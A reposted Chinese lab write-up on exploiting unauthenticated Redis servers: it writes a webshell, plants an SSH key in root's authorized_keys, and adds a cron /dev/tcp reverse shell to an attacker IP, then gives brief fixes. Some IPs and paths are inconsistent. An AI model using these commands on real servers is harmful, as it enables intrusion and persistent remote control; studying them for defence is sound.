Redis未授权访问漏洞复现

栏目: IT技术 · 发布时间: 4年前

内容简介:1、下载安装rediswget2、 解压压缩包

漏洞复现

攻击机 kali ip:192.168.70.140
靶机 Ubuntu 16.04 ip:192.168.70.133

一、环境搭建

1、下载安装redis

wget http://download.redis.io/releases/redis-3.2.11.tar.gz

2、 解压压缩包

tarzxvfredis-3.2.11.tar.gz。

3、进入解压目录redis-3.2.11 执行make命令

4、 进入src目录 cd redis-3.2.11/src

5、将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

Redis未授权访问漏洞复现

Redis未授权访问漏洞复现

返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:

Redis未授权访问漏洞复现

使用/etc/目录下的reids.conf文件中的配置启动 redis 服务:

Redis未授权访问漏洞复现

6、编辑etc中的redis配置文件redis.conf

去掉ip绑定,允许除本地外的主机远程登录redis服务 前面加#注释掉

Redis未授权访问漏洞复现

关闭保护模式,允许远程连接redis服务将yes 改为no

Redis未授权访问漏洞复现

二、利用方式

写入webshell

测试目标靶机是否存在未授权访问,下面靶机存在未授权访问

1.远程连接redis

Redis未授权访问漏洞复现

2.在靶机写入cs.php文件

我们将 shell 写入/home/ubuntus/cs目录下

save保存

Redis未授权访问漏洞复现

3.在靶机查看,有cs.php文件,shell写入完成

Redis未授权访问漏洞复现

如果写入网站服务的路径下,后续可以使用 工具 连接shell

通过写入SSH公钥实现ssh登录

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key

1、首先在攻击机(kali)上生成ssh公钥

Redis未授权访问漏洞复现

进入.ssh目录:cd.ssh/

2.将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)

(echo -e”\n”;cat id_rsa.pub;echo -e “\n”)>key.txt

Redis未授权访问漏洞复现

3.将key.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)

cat key.txt|redis-cli -h 192.168.70.133 -x set crack

Redis未授权访问漏洞复现

4.远程登录靶机的Redis服务,redis-cli -h 192.168.70.140

5.更改redis备份路径为ssh公钥存放目录

6.设置上传公钥的备份文件名字为authorized_keys

save保存

Redis未授权访问漏洞复现

7.在攻击机上直接ssh免密登录靶机,免密登录成功

Redis未授权访问漏洞复现

nc反弹

目标计为centos

在攻击机(kali)执行 nc -v -l -p 9999 监听

连接目标主机:redis-cli -h 192.168.70.140

写入shell并保存

set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.70.140/9999 0>&1\n\n”

config set dir /var/spool/cron

config set dbfilename root

save

客户端会收到目标机的反弹shell。**在ubuntu测试计划任务写入成功但不执行

config set dir /var/spool/cron/ //配置文件夹的路径(CONFIG SET 命令可以动态地调整 Redis 服务器的配置而(configuration)而无须重启。)//每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面

set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.70.140/9999 0>&1\n\n”

//直接往当前用户的crontab里写入反弹shell,换行也是必须的

三、修复建议

1.禁止一些高危命令
2.以低权限运行 Redis 服务
3.禁止外网访问 Redis

*本文作者:shineT,转载请注明来自FreeBuf.COM


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

21天学通C语言

21天学通C语言

(美国)琼斯(Bradley L.Jones) (美国)埃特肯(Peter Aitken) / 信达工作室 / 人民邮电出版社 / 2012-8 / 69.00元

《21天学通C语言(第6版•修订版)》是初学者学习C语言的经典教程。本版按最新的标准(ISO∕IEC:9899-1999),以循序渐进的方式介绍了C语言编程方面知识,并提供了丰富的实例和大量的练习。通过学习实例,并将所学的知识用于完成练习,读者将逐步了解、熟悉并精通C语言。《21天学通C语言(第6版•修订版)》包括四周的课程。第一周的课程介绍了C语言程序的基本元素,包括变量、常量、语句、表达式、函......一起来看看 《21天学通C语言》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

URL 编码/解码
URL 编码/解码

URL 编码/解码

MD5 加密
MD5 加密

MD5 加密工具